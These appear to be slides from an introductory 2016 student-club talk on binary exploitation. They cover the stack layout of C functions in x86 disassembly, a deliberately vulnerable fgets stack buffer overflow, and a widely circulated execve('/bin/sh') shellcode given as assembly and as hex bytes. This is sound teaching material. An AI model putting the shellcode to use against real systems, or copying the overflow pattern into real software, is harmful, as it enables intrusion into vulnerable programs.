Mark Mossberg
NU Hacks
Spring 2016
Senior computer engineering major
Low level enthusiast
CTF casual
Mostly with Shellphish
http://vmresu.me
Binary exploitation is the art of bending a computer program to your will
From https://picoctf.com/learn
For more extensive background, see http://github.com/rpisec/mbe
// this is not good C,
// just illustrating buffers
void hello(void) {
char message[10];
strcpy(message, "Hello\n");
printf("%s", message);
}
void myfunction(void) {
// local, stack variables.
int a = 1;
int b = 2;
int c = 3;
}
080483cb <myfunction>:
80483cb: push ebp
80483cc: mov ebp,esp
80483ce: sub esp,0x10
80483d1: mov DWORD PTR [ebp-0x4],0x1
80483d8: mov DWORD PTR [ebp-0x8],0x2
80483df: mov DWORD PTR [ebp-0xc],0x3
80483e6: leave
80483e7: ret
void myfunction1(void) {
myfunction2(1, 2, 3);
}
void myfunction2(int a, int b, int c) {
a = 0xff; b = 0xff; c = 0xff;
}
080483cb <myfunction1>:
80483cb: push ebp
80483cc: mov ebp,esp
80483ce: sub esp,0x8
80483d1: sub esp,0x4
80483d4: push 0x3
80483d6: push 0x2
80483d8: push 0x1
80483da: call 80483e4 <myfunction2>
80483df: add esp,0x10
80483e2: leave
80483e3: ret
080483e4 <myfunction2>:
80483e4: push ebp
80483e5: mov ebp,esp
80483e7: mov DWORD PTR [ebp+0x8],0xff
80483ee: mov DWORD PTR [ebp+0xc],0xff
80483f5: mov DWORD PTR [ebp+0x10],0xff
80483fc: pop ebp
80483fd: ret
myfunc2
void myfunction1(void) {
myfunction2(1, 2, 3);
}
void myfunction2(int a, int b, int c) {
a = 0xff; b = 0xff; c = 0xff;
}
080483cb <myfunction1>:
80483cb: push ebp
80483cc: mov ebp,esp
80483ce: sub esp,0x8
80483d1: sub esp,0x4
80483d4: push 0x3
80483d6: push 0x2
80483d8: push 0x1
80483da: call 80483e4 <myfunction2>
80483df: add esp,0x10
80483e2: leave
80483e3: ret
080483e4 <myfunction2>:
80483e4: push ebp
80483e5: mov ebp,esp
80483e7: mov DWORD PTR [ebp+0x8],0xff
80483ee: mov DWORD PTR [ebp+0xc],0xff
80483f5: mov DWORD PTR [ebp+0x10],0xff
80483fc: pop ebp
80483fd: ret
Takeaway: Program execution control data is stored on stack!
Definition from https://en.m.wikipedia.org/wiki/Memory_corruption
void func(void) {
int arr[4];
for (int i = 0; i < 8; i++) {
arr[i] = 0xffffffff;
}
}
Corrupting Stack Memory!
Perfectly legit C though
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
void func(void) {
// 15 byte string + NULL
char buf[16];
// read up to 165 bytes + NULL from stdin
fgets(buf, 166, stdin);
printf("Hello %s\n", buf);
}
what's dangerous about this code?
void func(void) {
// 15 byte string + NULL
char buf[16];
// read up to 165 bytes + NULL from stdin
fgets(buf, 166, stdin);
printf("Hello %s\n", buf);
}
what's dangerous about this code?
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
🔥🔥🔥🔥
user can control 150 bytes after buf! (including return address!)
👈👈👈
execve()
For x86, we'll use "int 0x80"
execve(char *filename, char *argv[], char *envp[]);
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
; I didn't write this, I found it on the
; internet a while ago
xor eax,eax ; int eax = 0
push eax
push 0x68732f2f ; these three create "/bin//sh\0"
push 0x6e69622f ; on the stack
mov ebx,esp ; char *ebx = "/bin//sh";
push eax
push ebx
mov ecx,esp ; char *ecx = {"/bin//sh", 0};
mov edx,eax ; int edx = 0
mov al,0xb ; 0xb is syscall number for execve
int 0x80 ; trigger syscall
sc = ("\x31\xc0\x50\x68\x2f" +
"\x2f\x73\x68\x68\x2f" +
"\x62\x69\x6e\x89\xe3" +
"\x50\x53\x89\xe1\x89" +
"\xc2\xb0\x0b\xcd\x80")